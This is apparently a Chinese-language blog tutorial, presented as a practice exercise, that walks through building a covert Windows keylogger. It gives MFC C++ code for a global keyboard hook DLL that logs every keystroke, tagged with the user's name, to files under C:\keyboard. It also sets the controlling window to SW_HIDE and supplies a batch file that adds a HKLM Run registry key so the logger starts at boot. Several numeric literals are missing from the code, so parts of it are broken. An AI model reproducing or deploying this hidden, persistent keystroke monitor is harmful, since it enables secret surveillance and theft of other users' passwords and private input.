本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。

这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。

程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。

  • 全局钩子DLL

创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook

在自动生成的源文件KeyBoardHook.cpp中,

定义全局变量:

#pragma data_seg("publicdata")
HHOOK hhook = NULL;
HINSTANCE pinstance = NULL;
#pragma data_seg()

在DLL入口函数中,添加获取钩子实例句柄的代码:

extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// Remove this if you use lpReserved
UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("KEYBOARDHOOK.DLL Initializing!\n"); // Extension DLL one-time initialization
if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
return ; new CDynLinkLibrary(KeyBoardHookDLL);
pinstance = hInstance; //获取钩子实例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("KEYBOARDHOOK.DLL Terminating!\n");
// Terminate the library before destructors are called
AfxTermExtensionModule(KeyBoardHookDLL);
}
return ; // ok
}

全局钩子的具体实现代码:

//保存日志文件
extern "C" void SaveLog(char* c)
{
//printf("刚才点击的是%c键/n", &c);
//char buffer[80];
//wsprintf(buffer, "c的值是%c", c);
//AfxMessageBox(buffer);
const int MAX_BUFFER_LEN = ;
char szBuffer[MAX_BUFFER_LEN];
DWORD dwNameLen; dwNameLen = MAX_BUFFER_LEN;
GetUserName(szBuffer, &dwNameLen); CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,);
file.Close();
} //键盘钩子回调函数
extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM lParam)
{
LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
//AfxMessageBox("huidiao");
if(nCode == HC_ACTION){
if(lParam & 0x80000000){
char c[];
c[]=wParam;
//AfxMessageBox(c);
SaveLog(c);
}
} return Result;
} //安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接
extern "C" bool WINAPI InstallHook()
{
// AfxMessageBox("anzhuang");
hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, );
if(hhook != NULL)
return true;
else
return false;
}

用def文件导出DLL函数,在KeyBoardHook.def中添加:

EXPORTS
; Explicit exports can go here
InstallHook @ //dll导出函数的名称为InstallHook,序号为1

至此,编译并运行,程序的DLL部分便完成了。

  • 负责调用DLL的单文档应用程序

创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。

设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib

在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:

//安装钩子函数
extern "C" bool WINAPI InstallHook();

在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带...View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。

void CKeyBoardHookAppView::OnInitialUpdate()
{
CView::OnInitialUpdate(); // TODO: Add your specialized code here and/or call the base class
InstallHook();
}

最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:

在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。

  • 设置本程序随开机自启动

使用bat批处理来制作安装和卸载

md C:\keyboard
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f

以管理员身份运行“安装.bat”  ,程序在系统重启后生效。日志文件放在C:\keyboard目录下。

参考:

《精通Windows程序设计——基于Visual C++实现》   人民邮电出版社

《利用键盘钩子捕获Windows键盘动作》    http://www.yesky.com/328/1890328.shtml

VC++开发Windows系统全局钩子的更多相关文章

  1. VC++ 获取windows系统的版本类型

    vc中获取windows版本信息,一般是调用GetVersionEx 这个API函数来获取的,这个API需要OSVERSIONINFOEX 这个结构体作为参数,OSVERSIONINFOEX 的对应的 ...

  2. VC++ 获取Windows系统版本号、CPU名称

    转载:https://blog.csdn.net/sunflover454/article/details/51525179 转载:https://blog.csdn.net/magictong/ar ...

  3. windows 键盘全局钩子

    // HookapiTest.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <Windows.h> #inc ...

  4. 【旧文章搬运】Windows中全局钩子DLL的加载过程

    原文发表于百度空间,2011-03-24========================================================================== 看雪上别人 ...

  5. 安全之路 —— 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  6. Windows系统VSCode、VBox搭建C/C++开发环境

    好几年没有写过C/C++代码,基本上都忘光了,之前是使用VC++6.0写代码的,最近用VSCode成功搭建了C/C++开发环境,这里记录一下搭建过程. 1. 安装VSCode 在官网https://c ...

  7. 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  8. WSL2:在Windows系统中开发Linux程序的又一神器

    作 者:道哥,10+年的嵌入式开发老兵. 公众号:[IOT物联网小镇],专注于:C/C++.Linux操作系统.应用程序设计.物联网.单片机和嵌入式开发等领域. 公众号回复[书籍],获取 Linux. ...

  9. 2013-6-2 [转载自CSDN]如何入门Windows系统下驱动开发

    [序言]很多人都对驱动开发有兴趣,但往往找不到正确的学习方式.当然这跟驱动开发的本土化资料少有关系.大多学的驱动开发资料都以英文为主,这样让很多驱动初学者很头疼.本人从事驱动开发时间不长也不短,大概 ...

随机推荐

  1. 14- Servlet.service() for servlet [mvc-dispatcher] in context with path [/collegeservice] threw exception [Request processing failed; nested exception is java.lang.NullPointerException] with root caus

    有的service没有依赖注入:

  2. DataTable学习笔记---排序细则、列隐藏

    耽误了好几天,因为要做一个嵌入式的实验-android内核编译与裁剪,很久之前装的wubi不知道为什么运行出错了,然后看着当前的win7系统觉得有点讨厌了,也是因为快1年半没装机了,所以就重新装机了, ...

  3. SqlServer中批量update

    现在我有两张表分别是S_PERSON,S_USER S_PERSON S_USER 我现在想把S_USER表中的ACCOUNT批量修改成S_PERSON的ACCOUNT 我们可以发现S_USER表中有 ...

  4. [BAT]通过schtasks.exe远程调用windows 2008 server上的计划任务,提示ERROR : Access is denied

    在windows 2008 server 上建了一个计划任务,想通过命令 schtasks /run /tn "IPADForAdvisor_QA_APITest" /s SZPC ...

  5. 【转】Hibernate的getSQLQuery方法对char类型的解析问题

    [转]Hibernate的getSQLQuery方法对char类型的解析问题 建立数据库: create table T_TEST1( id char (32), name varchar (255) ...

  6. hdu-1070(水题)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1070 题意:一个人喝牛奶,有三个原则: 1.牛奶的日期不超过6天,就是最多5天. 2.每次只喝200m ...

  7. hdu-1877(大数+进制转换)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1877 思路:注意考虑0,0的情况. #include<iostream> #include ...

  8. hdu-1026(bfs+优先队列)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1026 题意:输入n,m和一个n*m的矩阵, .表示通路: x表示墙: n表示有一个怪物,消灭它需要n个 ...

  9. [operator]Ubuntu server 18 设置静态IP

    root@ubuntu-MesosMaster-Marathon:~# cat /etc/netplan/-cloud-init.yaml # This file is generated from ...

  10. 关于this对象

    1.在全局函数中this指的是window 2.当函数被当做方法调用时,this等于那个对象 3.匿名函数具有全局性,只要是匿名函数,this指向window 实例1: var name = 'the ...